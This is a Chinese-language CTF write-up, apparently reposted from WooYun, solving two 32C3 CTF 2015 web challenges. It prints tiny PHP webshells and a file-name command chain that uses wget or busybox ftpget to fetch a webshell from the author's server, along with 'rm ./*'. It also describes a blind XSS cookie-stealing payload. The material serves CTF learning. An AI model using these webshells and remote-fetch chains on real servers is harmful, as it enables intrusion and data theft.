<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/11718

            0x00 簡介


            作為一個銷售狗,還能做得動Web題,十分開心。 這次搞了兩個題目,一個是TinyHosting,一個是Kummerkasten。

            0x01 TingHosting


            A new file hosting service for very small files. could you pwn it?
            http://136.243.194.53/

            可以首先在頁面中發現一個隱藏的src參數,在URL里加上?src=1之后可以返回出頁面的源代碼。

            p1

            大概的意思就是說可以往服務器上傳任意文件名的文件,不過每個文件的內容只有有7個字符那么長。

            于是首先google了一下,最短的php webshell應該是14字符的這個:

            #!php
            <?=`$_GET[1]`;
            

            (PS:原文的該代碼被轉意過了,若有錯誤...見諒.

            顯然不夠長啊。

            后來腦洞了很多,想到了可愛的 * ,于是很重要的payload是:

            #!bash
            z.php
            

            內容為:

            #!php
            <?=`*`;
            

            剛好七個字符,不多不少,能把當前目錄下的所有玩意按順序執行一遍。

            于是就要構造一些執行鏈了,一開始的想法是:

            #!bash
            busybox ftpget two.dog w.php z.php
            

            其中前4個文件內容隨意,w.php是上面的關鍵payload,執行w.php后其內容被我服務器上的webshell覆蓋,而獲取webshell。

            結果悲劇的發現busybox ftpget支持的host只能是ip,而不支持域名。

            后來想通過wget來構造,利用了302跳轉可以跨協議的特點。

            #!bash
            wget wtf.two.dog z.php
            

            前兩個文件人意內容,z.php為重要payload,即可拿下webshell。

            但仔細一看,這題會在每一個人的目錄下創建一個index.html,于是執行鏈被破環沒法工作。

            于是使用bash來先干掉index.html

            構造:

            #!bash
            bash bb index.html z.php
            

            其中bash內容隨意,bb的內容為rm ./*不超過7個字符。然后再通過上面的方法即可獲得一個webshell,然后在根目錄發現一個flag。

            p2

            之后看了老外的做法真是簡單好用,就利用bash、bb和z.php,bb的內容分別為ls /,cat /f*,簡單直接0 0

            0x02 Kummerkasten


            Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/
            Please note: This challenge does not follow the flag format.

            Hints:
            To build the flag, concatenate both parts and omit '32C3_'

            進去之后只有一個提交留言的地方,四下看了看沒發現別的東西,感覺和XSS會有關。

            直接丟了一個盲打cookie的payload之后收到了回顯:

            p3

            訪問過去是403,感覺需要用XSS來讀一下頁面的內容。

            本來的思路是XSS里帶上jQuery然后用jQuery操作,結果發現頁面里面有,太方便了。

            直接用ajax可以輕松讀取頁面并回傳。

            看到了 /admin/bugs/admin/token

            根據頁面中的信息來看,關鍵是要讀兩個png圖片回來。

            最后的payload如下:

            p4

            然后把兩個圖里的內容,一個mysql的password和一個6位數字拼起來就是FLAG咯。

            0x03 Other

            更多的writeup可以參考如下鏈接:

            https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线